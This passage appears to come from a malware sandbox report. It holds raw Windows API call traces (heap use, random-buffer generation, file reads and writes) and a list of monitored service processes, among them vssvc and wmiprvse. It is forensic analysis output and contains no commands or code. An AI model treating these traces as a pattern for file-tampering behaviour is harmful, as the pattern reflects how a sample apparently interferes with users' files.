(in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.988] GetProcessHeap () returned 0x540000 [0090.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0090.988] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.988] WriteFile (in: hFile=0xa30, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0090.989] WriteFile (in: hFile=0xa30, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0090.989] GetProcessHeap () returned 0x540000 [0090.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0090.989] GetProcessHeap () returned 0x540000 [0090.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0090.989] GetProcessHeap () returned 0x540000 [0090.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0090.989] CloseHandle (hObject=0xa30) returned 1 [0090.991] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 174 [0090.991] SetFilePointerEx (in: hFile=0xa34, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.991] ReadFile (in: hFile=0xa34, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0090.991] SetFilePointerEx (in: hFile=0xa34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.991] GetProcessHeap () returned 0x540000 [0090.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0090.991] GetProcessHeap () returned 0x540000 [0090.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0090.991] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0090.991] GetProcessHeap () returned 0x540000 [0090.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0090.991] ReadFile (in: hFile=0xa34, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 Thread: id = 7 os_tid = 0x1e8 Thread: id = 8 os_tid = 0x618 Thread: id = 9 os_tid = 0x5e4 Thread: id = 10 os_tid = 0x640 Thread: id = 24 os_tid = 0x288 Thread: id = 98 os_tid = 0x7fc Thread: id = 116 os_tid = 0x8d0 Thread: id = 117 os_tid = 0x8d4 Thread: id = 118 os_tid = 0x8f0 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x41c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 11 os_tid = 0x6b4 Thread: id = 12 os_tid = 0x76c Thread: id = 13 os_tid = 0x758 Thread: id = 14 os_tid = 0x74c Thread: id = 15 os_tid = 0x72c Thread: id = 16 os_tid = 0x71c Thread: id = 17 os_tid = 0x718 Thread: id = 18 os_tid = 0x638 Thread: id = 19 os_tid = 0x154 Thread: id = 20 os_tid = 0x150 Thread: id = 21 os_tid = 0x12c Thread: id = 22 os_tid = 0x120 Thread: id = 23 os_tid = 0x3fc Thread: id = 99 os_tid = 0x81c Thread: id = 132 os_tid = 0xadc Thread: id = 164 os_tid = 0xb7c Thread: id = 169 os_tid = 0xbc8 Thread: id = 171 os_tid = 0x5cc Thread: id = 172 os_tid = 0x848 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x41c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 25 os_tid = 0x790 Thread: id = 26 os_tid = 0x7a0 Thread: id = 27 os_tid = 0x330 Thread: id = 28 os_tid = 0x7f8 Thread: id = 29 os_tid = 0x430 Thread: id = 30 os_tid = 0x268 Thread: id = 31 os_tid = 0x768 Thread: id = 32 os_tid = 0x764 Thread: id = 33 os_tid = 0x760 Thread: id = 34 os_tid = 0x75c Thread: id = 35 os_tid = 0x70c Thread: id = 36 os_tid = 0x6e8 Thread: id = 37 os_tid = 0x6d8 Thread: id = 38 os_tid = 0x6d4 Thread: id = 39 os_tid = 0x6d0 Thread: id = 40 os_tid = 0x6c8 Thread: id = 41 os_tid = 0x6c0 Thread: id = 42 os_tid = 0x6b8 Thread: id = 43 os_tid = 0x6a8 Thread: id = 44 os_tid = 0x6a4 Thread: id = 45 os_tid = 0x6a0 Thread: id = 46 os_tid = 0x690 Thread: id = 47 os_tid = 0x67c Thread: id = 48 os_tid = 0x490 Thread: id = 49 os_tid = 0x454 Thread: id = 50 os_tid = 0x450 Thread: id = 51 os_tid = 0x428 Thread: id = 52 os_tid = 0x424 Thread: id = 53 os_tid = 0x420 Thread: id = 54 os_tid = 0x404 Thread: id = 55 os_tid = 0x18c Thread: id = 56 os_tid = 0xf0 Thread: id = 57 os_tid = 0xc8 Thread: id = 58 os_tid = 0x3f0 Thread: id = 59 os_tid = 0x3e4 Thread: id = 60 os_tid = 0x398 Thread: id = 61 os_tid = 0x394 Thread: id = 62 os_tid = 0x390 Thread: id = 63 os_tid = 0x38c Thread: id = 64 os_tid = 0x378 Thread: id = 65 os_tid = 0x370 Thread: id = 74 os_tid = 0x2b0 Thread: id = 75 os_tid = 0x694 Thread: id = 100 os_tid = 0x88c Thread: id = 101 os_tid = 0x890 Thread: id = 102 os_tid = 0x894 Thread: id = 103 os_tid = 0x898 Thread: id = 104 os_tid = 0x89c Thread: id = 105 os_tid = 0x8a0 Thread: id = 106 os_tid = 0x8a4 Thread: id = 107 os_tid = 0x8a8 Thread: id = 108 os_tid = 0x8ac Thread: id = 109 os_tid = 0x8b0 Thread: id = 110 os_tid = 0x8b4 Thread: id = 111 os_tid = 0x8b8 Thread: id = 114 os_tid = 0x8c4 Thread: id = 115 os_tid = 0x8c8 Thread: id = 119 os_tid = 0x9d8 Thread: id = 120 os_tid = 0x9dc Thread: id = 121 os_tid = 0x9e0 Thread: id = 122 os_tid = 0x9e4 Thread: id = 123 os_tid = 0x9e8 Thread: id = 124 os_tid = 0x9ec Thread: id = 125 os_tid = 0x9f0 Thread: id = 126 os_tid = 0x9f4 Thread: id = 127 os_tid = 0xa00 Thread: id = 128 os_tid = 0xa28 Thread: id = 129 os_tid = 0xac0 Thread: id = 130 os_tid = 0xac8 Thread: id = 131 os_tid = 0xacc Thread: id = 153 os_tid = 0xb28 Thread: id = 154 os_tid = 0xb2c Thread: id = 155 os_tid = 0xb30 Thread: id = 156 os_tid = 0xb34 Thread: id = 157 os_tid = 0xb38 Thread: id = 158 os_tid = 0xb3c Thread: id = 161 os_tid = 0xb54 Thread: id = 162 os_tid = 0xb64 Process: id = "4" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x66606000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 66 os_tid = 0x7b8 Thread: id = 67 os_tid = 0x5d8 Thread: id = 68 os_tid = 0x55c Thread: id = 69 os_tid = 0x53c Thread: id = 70 os_tid = 0x7f0 Thread: id = 71 os_tid = 0x438 Thread: id = 72 os_tid = 0x7b0 Thread: id = 73 os_tid = 0x204 Thread: id = 113 os_tid = 0x8c0 Thread: id = 165 os_tid = 0xb8c Process: id = "5" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x51a13000" os_pid = "0x73c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0004ccaa" [0xc000000f] Thread: id = 76 os_tid = 0x78c Thread: id = 77 os_tid = 0x64 Thread: id = 78 os_tid = 0x7c0 Thread: id = 79 os_tid = 0x7e0 Thread: id = 80 os_tid = 0x130 Thread: id = 81 os_tid = 0x5f4 Thread: id = 82 os_tid = 0x7b4 Thread: id = 112 os_tid = 0x8bc Thread: id = 159 os_tid = 0xb44 Thread: id = 160 os_tid = 0xb48 Thread: id = 166 os_tid = 0xb90 Process: id = "6" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x51164000" os_pid = "0x39c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x73c" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0004d0b7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 83 os_tid = 0x3b0 Thread: id = 84 os_tid = 0x5b8 [0044.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd0d850 | out: lpSystemTimeAsFileTime=0xd0d850*(dwLowDateTime=0x745b7c0, dwHighDateTime=0x1d59fdd)) [0044.589] GetCurrentProcessId () returned 0x39c [0044.589] GetCurrentThreadId () returned 0x5b8 [0044.589] GetTickCount () returned 0x1143978 [0044.589] QueryPerformanceCounter (in: lpPerformanceCount=0xd0d858 | out: lpPerformanceCount=0xd0d858*=16484946722) returned 1 [0044.589] malloc (_Size=0x100) returned 0xf8e80 [0098.180] free (_Block=0xf8e80) Thread: id = 85 os_tid = 0x6fc Thread: id = 86 os_tid = 0x354 Thread: id = 87 os_tid = 0x570 Thread: id = 88 os_tid = 0x128 Thread: id = 89 os_tid = 0x590 Thread: id = 90 os_tid = 0x110 Thread: id = 97 os_tid = 0x324 Thread: id = 167 os_tid = 0xb94 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x50269000" os_pid = "0x344" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x39c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0004d54b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 91 os_tid = 0x7c4 Thread: id = 92 os_tid = 0x328 Thread: id = 93 os_tid = 0x7ac Thread: id = 94 os_tid = 0x114 Thread: id = 95 os_tid = 0x660 Thread: id = 96 os_tid = 0x7d8 Thread: id = 168 os_tid = 0xb98 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 133 os_tid = 0x658 Thread: id = 134 os_tid = 0x584 Thread: id = 135 os_tid = 0x728 Thread: id = 136 os_tid = 0x674 Thread: id = 137 os_tid = 0x65c Thread: id = 138 os_tid = 0x144 Thread: id = 139 os_tid = 0x118 Thread: id = 140 os_tid = 0x3ec Thread: id = 141 os_tid = 0x3e8 Thread: id = 142 os_tid = 0x3e0 Thread: id = 143 os_tid = 0x3dc Thread: id = 144 os_tid = 0x3cc Thread: id = 145 os_tid = 0x3c8 Thread: id = 146 os_tid = 0x388 Thread: id = 147 os_tid = 0x384 Thread: id = 148 os_tid = 0x380 Thread: id = 149 os_tid = 0x37c Thread: id = 150 os_tid = 0x364 Thread: id = 151 os_tid = 0x34c Thread: id = 152 os_tid = 0x338 Thread: id = 163 os_tid = 0xb78 Thread: id = 170 os_tid = 0xbec Process: id = "9" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0x0" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 173 os_tid = 0x8 Thread: id = 174 os_tid = 0x60 Thread: id = 175 os_tid = 0xc8 Thread: id = 176 os_tid = 0xa0 Thread: id = 177 os_tid = 0x7c Thread: id = 178 os_tid = 0xc4 Thread: id = 179 os_tid = 0x2c Thread: id = 180 os_tid = 0x48 [0248.521] KeDelayExecutionThread (WaitMode=0x0, Alertable=0, Interval=0xfffff88001f655a8*=-1234192295) Thread: id = 181 os_tid = 0x34 [0254.816] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x1cd6f, Tag=0x70764946) returned 0xfffffa8001991000 [0254.816] KeSetTimer (in: Timer=0xfffffa80018b4b1b, DueTime=0xffffffffb3c544f1, Dpc=0xfffffa80018b4b5b | out: Timer=0xfffffa80018b4b1b) returned 0 Thread: id = 182 os_tid = 0x44 Thread: id = 183 os_tid = 0x38 Thread: id = 184 os_tid = 0x50 Thread: id = 185 os_tid = 0x3c Thread: id = 186 os_tid = 0xd0 Thread: id = 187 os_tid = 0xc Thread: id = 188 os_tid = 0xbc Thread: id = 189 os_tid = 0xd4 Thread: id = 190 os_tid = 0xd8 Thread: id = 191 os_tid = 0xdc Thread: id = 192 os_tid = 0xe8 Thread: id = 193 os_tid = 0xec Thread: id = 194 os_tid = 0x94 Thread: id = 195 os_tid = 0x4c Thread: id = 196 os_tid = 0x30 Thread: id = 197 os_tid = 0xfc Thread: id = 198 os_tid = 0x100 Thread: id = 199 os_tid = 0x104 Thread: id = 200 os_tid = 0x108 Thread: id = 201 os_tid = 0x10c Thread: id = 202 os_tid = 0x110 Thread: id = 203 os_tid = 0x88 Thread: id = 204 os_tid = 0x68 Thread: id = 205 os_tid = 0x128 Thread: id = 206 os_tid = 0x12c Thread: id = 207 os_tid = 0x130 Thread: id = 208 os_tid = 0x134 Thread: id = 209 os_tid = 0xb4 Thread: id = 210 os_tid = 0x138 Thread: id = 211 os_tid = 0x174 Thread: id = 212 os_tid = 0x9c Thread: id = 213 os_tid = 0x6c Thread: id = 214 os_tid = 0x78 Thread: id = 215 os_tid = 0x26c Thread: id = 216 os_tid = 0x28 Thread: id = 217 os_tid = 0x2e4 Thread: id = 218 os_tid = 0x90 Thread: id = 219 os_tid = 0x84 Thread: id = 220 os_tid = 0x8c Thread: id = 221 os_tid = 0x3b4 Thread: id = 222 os_tid = 0x270 Thread: id = 223 os_tid = 0x98 Thread: id = 224 os_tid = 0x4d8 Thread: id = 225 os_tid = 0x594 Thread: id = 226 os_tid = 0x5dc Thread: id = 227 os_tid = 0x5f4 Thread: id = 228 os_tid = 0x5f8 Thread: id = 229 os_tid = 0x664 Thread: id = 230 os_tid = 0x6b0 Thread: id = 231 os_tid = 0x6bc Thread: id = 232 os_tid = 0x6c4 Thread: id = 233 os_tid = 0x6c8 Thread: id = 234 os_tid = 0x6d0 Thread: id = 235 os_tid = 0x6e0 Thread: id = 236 os_tid = 0x64 Thread: id = 237 os_tid = 0x24 Thread: id = 238 os_tid = 0x780 Thread: id = 239 os_tid = 0x4e0 Thread: id = 240 os_tid = 0x20 Thread: id = 241 os_tid = 0x54 Thread: id = 242 os_tid = 0x4dc Thread: id = 243 os_tid = 0x7f8 Thread: id = 244 os_tid = 0x0 [0254.808] ExQueueWorkItem (in: WorkItem=0xfffffa80018f03bb*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80018f4fa0, Parameter=0xfffffa80018f017b), QueueType=0x1 | out: WorkItem=0xfffffa80018f03bb*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80018f4fa0, Parameter=0xfffffa80018f017b)) Thread: id = 245 os_tid = 0x454 Thread: id = 246 os_tid = 0x2fc Thread: id = 247 os_tid = 0xa4 Thread: id = 248 os_tid = 0x5bc Thread: id = 249 os_tid = 0x7e4